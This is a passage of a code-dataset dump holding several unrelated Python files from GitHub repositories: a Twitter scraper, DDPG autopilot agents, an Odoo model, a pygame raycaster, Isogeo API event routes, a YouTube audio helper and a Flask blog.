tweet.url,'tweet_content': tweet.content,'user': tweet.user.username,\n 'replyCount': tweet.replyCount, 'retweet_count': tweet.retweetCount,'language': tweet.lang, 'source': tweet.source, 'like_count': tweet.likeCount})\n \n df=pd.DataFrame(tweets,columns=[\"date\",\"id\",\"url\",\"content\",\"user\",\"replyCount\",\"retweetCount\",\"language\",\"source\",\"likeCount\"])\n \n #display DataFrame\n st.dataframe(df)\n\n left,right=st.columns(2)\n with right:\n connect=st.button('upload Database')\n \n #connect mangodb client\n if connect:\n \n client = MongoClient(\"mongodb://localhost:27017/\")\n # database\n db = client[\"twitter_scrap\"]\n # collection\n collection= db[f\"{hashtag}_tweets\"]\n df.reset_index(inplace=True)\n\n dict=df.to_dict(orient='records')\n collection.insert_one({\"index\":\"scaped data\",\"data\":dict})\n st.success(\"successfully Uploaded\")\n with left:\n #download button for csv\n if st.download_button(\n \"download as csv\",\n df.to_csv(),\n file_name=f\"{hashtag}_tweets_data.csv\",\n mime='text/csv'\n ):\n st.success(\"File Downloaded\")\n #download button for json\n if st.download_button(\n \"downlaod as json\",\n df.to_json(orient='records', force_ascii=False, indent=4, default_handler=str),\n file_name=f\"{hashtag}_tweets_data.json\",\n mime='application/json'\n ):\n st.success(\"File downloaded\")\n\n if choice ==\"ABOUT\":\n st.title(\"THANKYOU\")\n\nif __name__ == '__main__':\n main()","repo_name":"Kugan1/twitter_scraper","sub_path":"Twitter_Scrapper.py","file_name":"Twitter_Scrapper.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4291960516","text":"# coding:utf-8\nimport tensorflow as tf\nimport numpy as np\nimport time\nfrom ReinforcementLearning.Modules.Environments.IEnv import IEnv\nfrom ReinforcementLearning.Modules.Models.Models import DDPG_Model_v1, DDPG_Global_And_Local_Models_v1, \\\n DDPG_Model_v2_With_Reward_PreCorr\nfrom ReinforcementLearning.Modules.Agents.IAgent import IAgent\nfrom ReinforcementLearning.Modules.DataAnalysisTools.DataMonitor import RuntimeLineChart, LineConfig\nimport threading\nfrom multiprocessing import Process\nimport warnings\nimport random\nimport copy\n\n\nclass DDPG_Agent_v1(IAgent):\n Author = \"BaoChuan Wang\"\n AllowImport = True\n '''\n 简单的DDPG测试模型,没有并行和存储功能\n '''\n\n def __init__(self, env,\n save_dir=\"./ddpg_ckpt/\",\n save_interval=1000,\n use_model_with_pre_calculated_g=True,\n kwargs_for_model=None\n ):\n if kwargs_for_model is None:\n kwargs_for_model = {}\n self.s_dim = env.observation_space[0]\n self.a_dim = env.action_space[0]\n\n if use_model_with_pre_calculated_g: # 使用预先计算的q值作为value\n self.model = DDPG_Model_v2_With_Reward_PreCorr(\n a_dim=self.a_dim, s_dim=self.s_dim, a_bound=1.0, **kwargs_for_model)\n else:\n self.model = DDPG_Model_v1(a_dim=self.a_dim, s_dim=self.s_dim, **kwargs_for_model)\n self.env = env\n self.env.connect()\n self.env.start()\n\n def train(self):\n\n # 在action输出时,对输出的浮点数进行一次随机,这个是随机的方差\n variance = 1\n # 随机的方差会逐渐减小,以从广度过渡到深度/确定性搜索\n variance_decay = 0.995\n # 当完成这个步数的时候variance *= decay\n variance_decay_step = 100\n current_state = self.env.reset()\n total_step = 1\n # ep_reward = 0\n while 1:\n action = self.model.choose_action(current_state)\n # action分别是油门/刹车 和 左转/右转 因此值域-1到1,这里加上方差\n action = np.clip(np.random.normal(action, variance), -1, 1)\n new_state, reward, done, _ = self.env.step(action)\n\n self.model.store_transition(current_state, action, reward / 10, new_state)\n if total_step % variance_decay_step == 0:\n variance *= variance_decay\n\n current_state = new_state\n # ep_reward += reward\n total_step += 1\n if done:\n self.model.learn()\n print('Episode:', total_step, ' Reward: %i' % int(reward), 'Explore: %.2f' % variance,)\n\n\nclass DDPG_Agent_GAL_v1(IAgent):\n Author = \"BaoChuan Wang\"\n AllowImport = True\n\n def __init__(self, env_prototype_dict_for_workers,\n save_dir=\"./ddpg_ckpt/\",\n save_interval=100, model_hook_dict=None,\n # 下面的kwargs每一个用env_prototype_dict_for_workers的name作为key,传给worker或者model的kwargs字典作为value\n kwargs_for_worker_dict=None,\n kwargs_for_model_dict=None,\n kwargs_for_global_model=None\n ):\n\n assert isinstance(env_prototype_dict_for_workers, dict)\n first_key = list(env_prototype_dict_for_workers.keys())[0]\n assert isinstance(env_prototype_dict_for_workers[first_key], IEnv)\n self.action_space = env_prototype_dict_for_workers[first_key].action_space[0]\n self.observation_space = env_prototype_dict_for_workers[first_key].observation_space[0]\n self.save_dir = save_dir\n self.save_interval = save_interval\n if kwargs_for_worker_dict is None:\n kwargs_for_worker_dict = {}\n print(\"[WARNING]\" + self.__class__.__name__ + \": No kwargs for workers!\")\n time.sleep(1)\n if kwargs_for_model_dict is None:\n print(\"[WARNING]\" + self.__class__.__name__ + \": No kwargs for models!\")\n kwargs_for_model_dict = {}\n time.sleep(1)\n # 所有模型,统一sess\n self.sess = tf.Session()\n if kwargs_for_global_model is None:\n kwargs_for_global_model = {}\n # 全局模型加载\n self.global_model = DDPG_Global_And_Local_Models_v1(\n is_global_model=True,\n a_dim=self.action_space,\n s_dim=self.observation_space,\n scope=\"global\",\n tf_sess=self.sess,\n save_dir=save_dir, **kwargs_for_global_model)\n self.global_model.load()\n\n self.workers = []\n\n for name in env_prototype_dict_for_workers:\n model_hook = None\n if model_hook_dict is not None:\n if name in model_hook_dict.keys():\n model_hook = model_hook_dict[name]\n env = env_prototype_dict_for_workers[name]\n\n if name in kwargs_for_model_dict.keys():\n kwargs_for_model = kwargs_for_model_dict[name]\n else:\n kwargs_for_model = {}\n if name in kwargs_for_worker_dict.keys():\n kwargs_for_worker = kwargs_for_worker_dict[name]\n else:\n kwargs_for_worker = {}\n\n local_model = DDPG_Global_And_Local_Models_v1(\n is_global_model=False,\n global_model=self.global_model,\n a_dim=self.action_space,\n s_dim=self.observation_space,\n scope=name,\n tf_sess=self.sess,\n save_dir=save_dir,\n **kwargs_for_model\n )\n self.workers.append(DDPG_GAL_Worker_v1(\n env=env,\n name=name,\n global_model=self.global_model,\n local_model=local_model,\n save_ineterval=save_interval,\n tf_sess=self.sess, model_hook=model_hook, **kwargs_for_worker))\n\n def add_worker(self, env, name, kwargs_for_model, model_hook, kwargs_for_worker):\n local_model = DDPG_Global_And_Local_Models_v1(\n is_global_model=False,\n global_model=self.global_model,\n a_dim=self.action_space,\n s_dim=self.observation_space,\n scope=name,\n tf_sess=self.sess,\n save_dir=self.save_dir,\n **kwargs_for_model\n )\n self.workers.append(DDPG_GAL_Worker_v1(\n env=env,\n name=name,\n global_model=self.global_model,\n local_model=local_model,\n save_ineterval=self.save_interval,\n tf_sess=self.sess, model_hook=model_hook, **kwargs_for_worker\n\n ))\n\n def start(self):\n coord = tf.train.Coordinator()\n self.sess.run(tf.global_variables_initializer())\n worker_threads = []\n for worker in self.workers:\n job = lambda: worker.work()\n t = threading.Thread(target=job) # 创建一个线程，并分配其工作\n t.start() # 开启线程\n worker_threads.append(t)\n # 这里��要等待线程join,因为外面还有主线程!\n # coord.join(worker_threads) # 把开启的线程加入主线程，等待threads结束\n\n\nclass DDPG_GAL_Worker_v1(object):\n Author = \"BaoChuan Wang\"\n AllowImport = True\n\n # 下面的参数用于计算平均reward\n # 总reward\n TOTAL_REWARD = 0\n # 从开始到done的步数\n TOTAL_STEP = 0\n # 总worker数目\n TOTAL_WORKER_NUM = 0\n\n def __init__(self, env, name,\n # 本地和全局模型,tf计算图\n local_model,\n global_model,\n tf_sess,\n # 是否进行RL学习,如果是纯粹模仿学习可以关闭\n do_RL_learn=True,\n # 存储间隔,是done多少次之后save\n save_ineterval=100,\n # ddpg是采用数值的输出,因此需要添加一定均值和方差的高斯加到action输出上,以便于引导ddpg进行探索\n # 初始对于每个action的方差,在action输出时,对输出的浮点数进行一次随机,这个是随机的方差\n start_variance_for_each_action=(1.0, 1.0),\n # 方差每次衰减的比例,随机的方差会逐渐减小,以从广度过渡到深度/确定性搜索\n variance_decay_ratio_for_each_action=(0.995, 0.995),\n # 方差每次经过多少步骤衰减\n variance_decay_step=100,\n # 初始对于每个action的修正值\n start_offset_for_each_action=(0, 0),\n # 每次修正值的减少量,直接和下面的值相加\n offset_decay_value_for_each_action=(-0.01, -0.01),\n # 每间隔多少步对这个修正量进行减少,减少到0就是action完全对应的输入\n offset_decay_step=100,\n # 用以注入其他agent/model参数的hook\n model_hook=None,\n debug=False):\n self.worker_index = self.__class__.TOTAL_WORKER_NUM\n self.__class__.TOTAL_WORKER_NUM += 1\n self.do_RL_learn = do_RL_learn\n if do_RL_learn == False:\n print(\"Worker %s will not do RL\"% name)\n self.start_variance_for_each_action = np.array(start_variance_for_each_action)\n self.variance_decay_ratio_for_each_action = np.array(variance_decay_ratio_for_each_action)\n self.variance_decay_step = variance_decay_step\n self.start_offset_for_each_action = np.array(start_offset_for_each_action)\n self.offset_decay_value_for_each_action = np.array(offset_decay_value_for_each_action)\n self.offset_decay_step = offset_decay_step\n # 保证方差和修正的数量和action数目匹配\n assert env.action_space[0] == self.start_variance_for_each_action.shape[0] == \\\n self.variance_decay_ratio_for_each_action.shape[0] == \\\n self.start_offset_for_each_action.shape[0] == \\\n self.offset_decay_value_for_each_action.shape[\n 0], \"Should set var, offset and their decay for each action!\"\n\n self.offset_for_each_action = np.array(self.start_offset_for_each_action)\n self.variance_for_each_action = np.array(self.start_variance_for_each_action)\n self.env = env\n self.env.connect()\n self.name = name\n self.local_model = local_model\n self.sess = tf_sess\n self.global_model = global_model\n self.save_interval = save_ineterval\n self.model_hook = model_hook\n self.debug = debug\n self.env.start()\n if debug:\n # 用于实时变量监控的monitor,创建线型参数\n self.monitor_line_config = {\n \"throttle or brake\": LineConfig(color=(1, 0, 0), line_marker=LineConfig.LineMarkerStar),\n \"turn\": LineConfig(color=(0, 1, 0), line_marker=LineConfig.LineMarkerStar),\n \"reward\": LineConfig(color=(0, 0, 1), line_style=LineConfig.LineStyleDashDot), }\n\n self.monitor_data = {}\n # monitor的数据，初始化\n for vname in self.monitor_line_config:\n self.monitor_data[vname] = 0\n self.monitor = RuntimeLineChart(ylim=(-1, 1), window_area=100,\n vname_to_line_config_dict=self.monitor_line_config)\n # 需要在另一个进程中开启\n p = Process(target=self.monitor.run)\n p.start()\n\n def work(self):\n # local从global中拉取权重!\n self.local_model.pull_global()\n current_state = self.env.reset()\n total_step = 1\n # ep_reward = 0\n while 1:\n # 如果有hook,就会截取state来替换成hook给出的action\n if self.model_hook is not None:\n action = self.model_hook.tamper_action(self.env, current_state)\n else:\n action = self.local_model.choose_action(current_state)\n model_action = copy.deepcopy(action)\n for i in range(action.shape[0]):\n # action分别是油门/刹车 和 左转/右转,因此值域-1到1,这里先随机,然后加上offset\n action[i] = np.clip(\n np.random.normal(\n action[i],\n self.variance_for_each_action[i]) + self.offset_for_each_action[i],\n -1, 1)\n if random.randint(0, 50) == 0: # 以1/50概率打印模型输出\n print(\"Model predict action:\", model_action, \"After randomed\", action)\n\n new_state, reward, done, _ = self.env.step(action)\n if self.debug:\n # 更新monitor数据\n self.monitor_data[\"throttle or brake\"] = action[0]\n self.monitor_data[\"turn\"] = action[1]\n self.monitor_data[\"reward\"] = reward\n self.monitor.update_data(self.monitor_data)\n # print(\"Action: %s Reward %s\"%(action,reward))\n\n self.local_model.store_transition(current_state, action, reward, new_state)\n # print(\":\",total_step % variance_decay_step)\n # 方差和offset衰减\n if total_step % self.variance_decay_step == 0:\n self.variance_for_each_action = self.variance_for_each_action * self.variance_decay_ratio_for_each_action\n if total_step % self.offset_decay_step == 0:\n self.offset_for_each_action = self.offset_for_each_action - self.offset_decay_value_for_each_action\n for i in range(self.offset_for_each_action.shape[0]):\n if self.offset_for_each_action[i] < 0.0:\n self.offset_for_each_action[i] = 0.0\n\n # print(self.variance_for_each_action,self.offset_for_each_action)\n current_state = new_state\n # ep_reward += reward\n total_step += 1\n self.__class__.TOTAL_REWARD += reward\n # if done or total_step % 30 == 0:\n if done:\n self.__class__.TOTAL_STEP += 1\n print(\"Now global step\", self.__class__.TOTAL_STEP)\n if self.do_RL_learn:\n print(\"Give global to learn!\")\n self.local_model.give_global_to_learn()\n if self.__class__.TOTAL_STEP % self.save_interval == 0:\n self.global_model.save(global_step=self.__class__.TOTAL_STEP)\n print(\"Worker of index %s saved model weights\" % self.worker_index)\n # 更新后拉取权重\n self.local_model.pull_global()\n print(\"worker%s: \" % self.name, 'Step: ', total_step, ', Now Reward: %.5f' % reward,\n \"Global Mean Reward %.2f\" % (self.__class__.TOTAL_REWARD / self.__class__.TOTAL_STEP),\n 'Explore mean variance %.5f, mean offset %.5f' % (\n float(np.mean(self.variance_for_each_action)),\n float(np.mean(self.offset_for_each_action))))\n # print(\"Dataset num%s\" % self.local_model.pointer)\n # 建议不要clear掉历史\n # self.local_model.clear_memory()\n","repo_name":"B-C-WANG/ReinforcementLearningInAutoPilot","sub_path":"src/ReinforcementLearning/Modules/Agents/DDPG_Agent.py","file_name":"DDPG_Agent.py","file_ext":"py","file_size_in_byte":15339,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"44"} +{"seq_id":"14493247515","text":"# -*- coding: utf-8 -*-\r\nfrom odoo import models, fields\r\n\r\nclass detallepedidos(models.Model):\r\n _name = \"restaurante3.detallepedidos\"\r\n\r\n name = fields.Char(string='ClaveDetallePedido')\r\n nameme = fields.Many2one('restaurante3.pedidos',require='True',string='ClavePedido')\r\n fecha = fields.Char(string='Fecha')\r\n folio = fields.Integer(string='Folio')\r\n empleados = fields.Many2one('restaurante3.empleados',require='True',string='Empleado')\r\n tipomesas = fields.Many2many('restaurante3.tipomesas',require='True',string='Tipomesas')\r\n clientes = fields.Many2one('restaurante3.clientes',require='True',string='Cliente')\r\n orden = fields.Many2many('restaurante3.menuorden',require='True',String='Nombre de Orden')\r\n cantidad = fields.Integer(string='Cantidad')\r\n descripcion = fields.Char(string='Descripcion')\r\n importe = fields.Integer(string='Importe')\r\n \r\n _sql_constraints = [\r\n ('unique_detallepedido', 'unique (name)', 'El detallepedido ya existe!')\r\n ]","repo_name":"masterReis/restaurante","sub_path":"detallepedidos.py","file_name":"detallepedidos.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31404839218","text":"import pygame\nimport math\nfrom pygame.locals import *\n\npygame.init()\nscreen = pygame.display.set_mode((720,30))\n\nedges_list = [\\\n ((-1, 2), (0, 1)),\\\n ((0, 1), (1, 3)),\\\n ((1, 3), (-1, 2))\\\n ]\n\ntot_display = []\n\nc_node = [0., 0.] # place of viewer\n\nfov_start = 720 # the current visual field (degree * 4)\n# e.g., 720 means an arc 180° -> 90° -> 0°\n\ndef cal_len(vec): # return the length of a vector\n return math.sqrt(vec[0] * vec[0] + vec[1] * vec[1])\n\ndef cal_angle(vec): # return the angle of a vector (degree * 4)\n angle_cos = vec[0] / cal_len(vec)\n angle = math.acos(angle_cos) * 180 / math.pi\n angle = int(angle * 4)\n if vec[1] < 0:\n angle = 1440 - angle\n return angle\n\ndef cal_dis(vec1, vec2, angle): # return the distance of a certain point\n len1 = cal_len(vec1)\n len2 = cal_len(vec2)\n ang1 = cal_angle(vec1)\n ang2 = cal_angle(vec2)\n\n dif = (angle - ang1) / (ang2 - ang1)\n rslt = len1 + (len2 - len1) * dif\n\n return rslt \n\ndef swap(item1, item2):\n return item2, item1\n\ndef update():\n global tot_display, c_node\n tot_display = []\n\n # curr_ang: current angle in degree * 4\n # curr_dis: current minimum distance to the edges\n for curr_ang in range(1440):\n curr_dis = float(\"inf\")\n for edge in edges_list:\n node1 = (edge[0][0] - c_node[0], edge[0][1] - c_node[1])\n node2 = (edge[1][0] - c_node[0], edge[1][1] - c_node[1])\n ang1 = cal_angle(node1)\n ang2 = cal_angle(node2)\n if ang1 > ang2:\n node1, node2 = swap(node1, node2)\n ang1, ang2 = swap(ang1, ang2)\n elif ang1 == ang2:\n continue\n\n if curr_ang >= ang1 and curr_ang <= ang2:\n curr_dis = min(curr_dis, cal_dis(node1, node2, curr_ang))\n tot_display.append(curr_dis) \n\nrunning = True\n\nupdate()\n\nwhile running:\n \n for event in pygame.event.get():\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n running = False\n elif event.type == QUIT:\n running = False\n\n key_list = pygame.key.get_pressed() \n if key_list[pygame.K_RIGHT]: \n # c_node[0] += 0.01\n fov_start += 1\n update()\n elif key_list[pygame.K_LEFT]:\n # c_node[0] -= 0.01\n fov_start -= 1\n update()\n elif key_list[pygame.K_UP]:\n c_node[1] += 0.01\n update()\n elif key_list[pygame.K_DOWN]:\n c_node[1] -= 0.01\n update()\n print(fov_start) \n fov_scale = pygame.surface.Surface((540, 30))\n for deg_raw in range(fov_start, fov_start-540, -1):\n # print(deg)\n if deg_raw < 0:\n deg = deg_raw + 1440\n else:\n deg = deg_raw\n\n color_value = int(255 / (tot_display[deg] + 1))\n color = (color_value, color_value, color_value)\n line_rect = Rect(deg, 0, 1, 30)\n pygame.draw.rect(fov_scale, color, line_rect)\n\n screen.blit(fov_scale, (0, 0))\n\n pygame.display.update()\n\n\n\n\n\n\n\n","repo_name":"xxu-mzwyt/Flatland","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15440985799","text":"# -*- coding: UTF-8 -*-\n#! python3 # noqa E265\n\n\"\"\"\n Isogeo API v1 - API Routes for Events entities\n\n See: http://help.isogeo.com/api/complete/index.html\n\"\"\"\n\n# #############################################################################\n# ########## Libraries #############\n# ##################################\n\n# Standard library\nimport logging\nfrom datetime import datetime\n\n# submodules\nfrom isogeo_pysdk.checker import IsogeoChecker\nfrom isogeo_pysdk.decorators import ApiDecorators\nfrom isogeo_pysdk.models import Event, Metadata\n\n# #############################################################################\n# ########## Global #############\n# ##################################\n\nlogger = logging.getLogger(__name__)\nchecker = IsogeoChecker()\n\n\n# #############################################################################\n# ########## Classes ###############\n# ##################################\nclass ApiEvent:\n \"\"\"Routes as methods of Isogeo API used to manipulate events.\"\"\"\n\n def __init__(self, api_client=None):\n if api_client is not None:\n self.api_client = api_client\n\n # store API client (Request [Oauthlib] Session) and pass it to the decorators\n self.api_client = api_client\n ApiDecorators.api_client = api_client\n\n # ensure platform and others params to request\n self.utils = api_client.utils\n # initialize\n super(ApiEvent, self).__init__()\n\n @ApiDecorators._check_bearer_validity\n def listing(self, metadata: Metadata) -> list:\n \"\"\"Get all events of a metadata.\n\n :param Metadata metadata: metadata (resource) to edit\n \"\"\"\n # URL\n url_events = self.utils.get_request_base_url(\n route=\"resources/{}/events\".format(metadata._id)\n )\n\n # request\n req_events = self.api_client.get(\n url=url_events,\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n verify=self.api_client.ssl,\n timeout=self.api_client.timeout,\n )\n\n # checking response\n req_check = checker.check_api_response(req_events)\n if isinstance(req_check, tuple):\n return req_check\n\n # end of method\n return req_events.json()\n\n @ApiDecorators._check_bearer_validity\n def event(self, metadata_id: str, event_id: str) -> Event:\n \"\"\"Get details about a specific event.\n\n :param str event_id: event UUID to get\n :param str event_id: event UUID\n \"\"\"\n # check metadata UUID\n if not checker.check_is_uuid(metadata_id):\n raise ValueError(\n \"Metadata ID is not a correct UUID: {}\".format(metadata_id)\n )\n else:\n pass\n\n # check event UUID\n if not checker.check_is_uuid(event_id):\n raise ValueError(\"Event ID is not a correct UUID.\")\n else:\n pass\n\n # URL\n url_event = self.utils.get_request_base_url(\n route=\"resources/{}/events/{}\".format(metadata_id, event_id)\n )\n\n # request\n req_event = self.api_client.get(\n url=url_event,\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n timeout=self.api_client.timeout,\n verify=self.api_client.ssl,\n )\n\n # checking response\n req_check = checker.check_api_response(req_event)\n if isinstance(req_check, tuple):\n return req_check\n\n # add parent resource id to keep tracking\n event_augmented = req_event.json()\n event_augmented[\"parent_resource\"] = metadata_id\n\n # end of method\n return Event(**event_augmented)\n\n @ApiDecorators._check_bearer_validity\n def create(self, metadata: Metadata, event: Event) -> Event:\n \"\"\"Add a new event to a metadata (= resource).\n\n :param Metadata metadata: metadata (resource) to edit\n :param Event Event: event object to create\n \"\"\"\n # check params\n if event.kind not in (\"creation\", \"update\", \"publication\"):\n raise ValueError(\n \"'event.kind' must be one of: creation, update, publication\"\n )\n\n if isinstance(event.date, str):\n if len(event.date) == 10:\n # 2019-08-09\n datetime.strptime(event.date, \"%Y-%m-%d\")\n elif len(event.date) == 25:\n # ISO 8601 as returned by the API: '2019-08-09T00:00:00+00:00'\n datetime.strptime(event.date[:10], \"%Y-%m-%dT%H:%M:%S\")\n else:\n logger.warning(\"Unknown date format: {}\".format(event.date))\n elif isinstance(event.date, datetime):\n event.date = event.date.strftime(\"%Y-%m-%d\")\n else:\n raise TypeError(\"'event.date' must be a str or a datetime\")\n\n # ensure that a creation date doesn't already exist\n if event.kind == \"creation\":\n # retrieve metadata events\n metadata_events = self.api_client.metadata.get(\n metadata._id, include=(\"events\",)\n )\n # filter on creation events\n events_creation = [\n event for evt in metadata_events.events if evt.get(\"kind\") == \"creation\"\n ]\n if events_creation:\n logger.warning(\n \"A creation event already exist. A metadata can only have one creation event. Use event_update instead.\"\n )\n return events_creation[0]\n\n # ensure removing event.description for creation dates\n if event.kind == \"creation\" and event.description:\n event.description = None\n logger.warning(\"Event comments are not allowed for creation dates\")\n\n # URL\n url_event_create = self.utils.get_request_base_url(\n route=\"resources/{}/events\".format(metadata._id)\n )\n\n # request\n req_new_event = self.api_client.post(\n url=url_event_create,\n json={\n \"date\": event.date,\n \"description\": event.description,\n \"kind\": event.kind,\n },\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n verify=self.api_client.ssl,\n timeout=self.api_client.timeout,\n )\n\n # checking response\n req_check = checker.check_api_response(req_new_event)\n if isinstance(req_check, tuple):\n return req_check\n\n # add parent resource id to keep tracking\n event_augmented = req_new_event.json()\n event_augmented[\"parent_resource\"] = metadata._id\n\n # end of method\n return Event(**event_augmented)\n\n @ApiDecorators._check_bearer_validity\n def delete(self, event: Event, metadata: Metadata = None):\n \"\"\"Delete a event from Isogeo database.\n\n :param class event: Event model object to delete\n :param Metadata metadata: parent metadata (resource) containing the event\n \"\"\"\n # check event UUID\n if not checker.check_is_uuid(event._id):\n raise ValueError(\"Event ID is not a correct UUID: {}\".format(event._id))\n else:\n pass\n\n # retrieve parent metadata\n if not checker.check_is_uuid(event.parent_resource) and not metadata:\n raise ValueError(\"Event parent metadata is required. Requesting it...\")\n elif not checker.check_is_uuid(event.parent_resource) and metadata:\n event.parent_resource = metadata._id\n else:\n pass\n\n # URL\n url_event_delete = self.utils.get_request_base_url(\n route=\"resources/{}/events/{}\".format(event.parent_resource, event._id)\n )\n\n # request\n req_event_deletion = self.api_client.delete(\n url=url_event_delete,\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n timeout=self.api_client.timeout,\n verify=self.api_client.ssl,\n )\n\n # checking response\n req_check = checker.check_api_response(req_event_deletion)\n if isinstance(req_check, tuple):\n return req_check\n\n return req_event_deletion\n\n @ApiDecorators._check_bearer_validity\n def update(self, event: Event, metadata: Metadata = None) -> Event:\n \"\"\"Update an event.\n\n :param class event: Event model object to update\n :param Metadata metadata: parent metadata (resource) containing the event\n \"\"\"\n # check event UUID\n if not checker.check_is_uuid(event._id):\n raise ValueError(\"Event ID is not a correct UUID: {}\".format(event._id))\n else:\n pass\n\n # retrieve parent metadata\n if not checker.check_is_uuid(event.parent_resource) and not metadata:\n raise ValueError(\"Event parent metadata is required. Requesting it...\")\n elif not checker.check_is_uuid(event.parent_resource) and metadata:\n event.parent_resource = metadata._id\n else:\n pass\n\n # URL\n url_event_update = self.utils.get_request_base_url(\n route=\"resources/{}/events/{}\".format(event.parent_resource, event._id)\n )\n\n # request\n req_event_update = self.api_client.put(\n url=url_event_update,\n json=event.to_dict_creation(),\n headers=self.api_client.header,\n proxies=self.api_client.proxies,\n verify=self.api_client.ssl,\n timeout=self.api_client.timeout,\n )\n\n # checking response\n req_check = checker.check_api_response(req_event_update)\n if isinstance(req_check, tuple):\n return req_check\n\n # add parent resource id to keep tracking\n event_augmented = req_event_update.json()\n event_augmented[\"parent_resource\"] = event.parent_resource\n\n # end of method\n return Event(**event_augmented)\n\n\n# ##############################################################################\n# ##### Stand alone program ########\n# ##################################\nif __name__ == \"__main__\":\n \"\"\"standalone execution.\"\"\"\n api_event = ApiEvent()\n","repo_name":"isogeo/isogeo-api-py-minsdk","sub_path":"isogeo_pysdk/api/routes_event.py","file_name":"routes_event.py","file_ext":"py","file_size_in_byte":10259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"2632295248","text":"import os\n\nimport pafy\nfrom googleapiclient.discovery import build\nfrom oauth2client.service_account import ServiceAccountCredentials as SAC\n\nCLIENT_SECRETS_FILE = 'config/service_client.json'\nSCOPES = ['https://www.googleapis.com/auth/youtube.force-ssl']\nAPI_SERVICE_NAME = 'youtube'\nAPI_VERSION = 'v3'\n\n\ndef get_authenticated_service():\n credentials = SAC.from_json_keyfile_name(CLIENT_SECRETS_FILE, SCOPES)\n return build(API_SERVICE_NAME, API_VERSION, credentials=credentials)\n\n\ndef get_video_title(video_id):\n client = get_authenticated_service()\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n response = client.videos().list(part='snippet', id=video_id).execute()\n return response['items'][0]['snippet']['title']\n\n\ndef get_video_id(video_title):\n client = get_authenticated_service()\n response = client.search().list(\n part='snippet', maxResults=10, q=video_title, type=''\n ).execute()\n return response['items'][0]['id']['videoId']\n\n\ndef get_audio_stream(link):\n url = f'https://www.youtube.com/watch?v={link}'\n video = pafy.new(url, ydl_opts={'nocheckcertificate': True})\n audiostream = video.getbestaudio()\n command = ['ffmpeg', '-v', 'warning', '-nostdin', '-i', audiostream.url, '-ac', '1', '-f', 's16le', '-ar', '48000', '-']\n return command\n","repo_name":"vivaelnino9/mumble_bot","sub_path":"youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37818452801","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nfrom urllib.parse import urljoin\nfrom datetime import datetime\n\nfrom flask import (Flask, render_template, send_from_directory,\n make_response, request, url_for)\nfrom flask_flatpages import FlatPages, pygments_style_defs\nfrom flask_frozen import Freezer\n# from werkzeug.contrib.atom import AtomFeed\nfrom werkzeug.routing import BaseConverter, ValidationError\n\nfrom core import StaticBlog\nfrom config import WEBSITE_URL\n\n\napp = Flask(__name__)\napp.config.from_object('config')\n# flat-pages and freezer\npages = FlatPages(app)\nfreezer = Freezer(app)\n# create static blog instance\nstatic_blog = StaticBlog(app, pages)\n\n\n'''\nSome additional\n'''\n\ndef make_external(url):\n return urljoin(WEBSITE_URL, url)\n\n\n'''\nUrl converters, to avoid wrong url pattern matching\n'''\n\nclass NoSomethingConverter(BaseConverter):\n restriction = []\n\n def __ini__(self, url_map):\n super(NoSomethingConverter, self).__init__(url_map)\n\n def to_python(self, value):\n if value in self.restriction():\n raise ValidationError()\n return value\n\n\nclass NoStaticConverter(NoSomethingConverter):\n restriction = lambda x: ['static']\napp.url_map.converters['no_static'] = NoStaticConverter\n\nclass NoBlogsConverter(NoSomethingConverter):\n restriction = static_blog.get_blogs_names\napp.url_map.converters['no_blogs'] = NoBlogsConverter\n\nclass NoPagesConverter(NoSomethingConverter):\n restriction = static_blog.get_pages_names\napp.url_map.converters['no_pages'] = NoPagesConverter\n\n\n'''\nTemplate filters and context processors\n'''\n\n@app.template_filter('date_to_iso')\ndef date_to_iso(s):\n '''\n Convert 2010-11-17 09:47 to python datetime\n '''\n\n date = datetime.strptime(s, '%Y-%m-%d %H:%M')\n return date.strftime('%Y-%m-%d')\n\n\n@app.template_filter('count_articles_in_category')\ndef count_articles_in_category(s):\n return static_blog.count_articles_in_category(s)\n\n\n@app.context_processor\ndef inject_nav_pages():\n return dict(flat_pages=static_blog.get_pages_for('page'))\n\n\n@app.context_processor\ndef inject_sidebar():\n # inject categories list\n categories = static_blog.get_categories()\n # inject tags list\n tags = static_blog.get_tags()\n return dict(categories=categories, tags=tags)\n\n\n'''\nViews\n'''\n\n@app.route('/pygments.css')\ndef pygments_css():\n return pygments_style_defs('tango'), 200, {'Content-Type': 'text/css'}\n\n\n@app.route('/CNAME')\ndef cname():\n cname_path = os.path.join(app.root_path, 'static')\n return send_from_directory(cname_path, 'CNAME', mimetype='text/plain')\n\n\n@app.route('/favicon.ico')\ndef favicon():\n favicon_path = os.path.join(app.root_path, 'static')\n return send_from_directory(favicon_path, 'favicon.ico', mimetype='image/x-icon')\n\n\n@app.route('/sitemap.xml', methods=['GET'])\ndef sitemap():\n \"\"\"\n Generate sitemap.xml. Makes a list of urls and date modified.\n \"\"\"\n\n flat_pages = static_blog.get_all_pages()\n articles = static_blog.get_all_articles()\n\n sitemap_xml = render_template('sitemap.xml', flat_pages=flat_pages, articles=articles)\n response = make_response(sitemap_xml)\n response.headers[\"Content-Type\"] = \"application/xml\"\n\n return response\n\n\n\"\"\"TODO: AtomFeed is deprecated\n@app.route('/feed.atom')\ndef recent_feed():\n feed = AtomFeed('Ninjaside.info Atom Feed', feed_url=request.url, url=request.url_root)\n articles = static_blog.get_articles('blog', language=\"ru\")\n for article in articles:\n feed.add(\n article.meta['title'], article.meta['summary'],\n content_type='html',\n url=make_external(url_for('post', 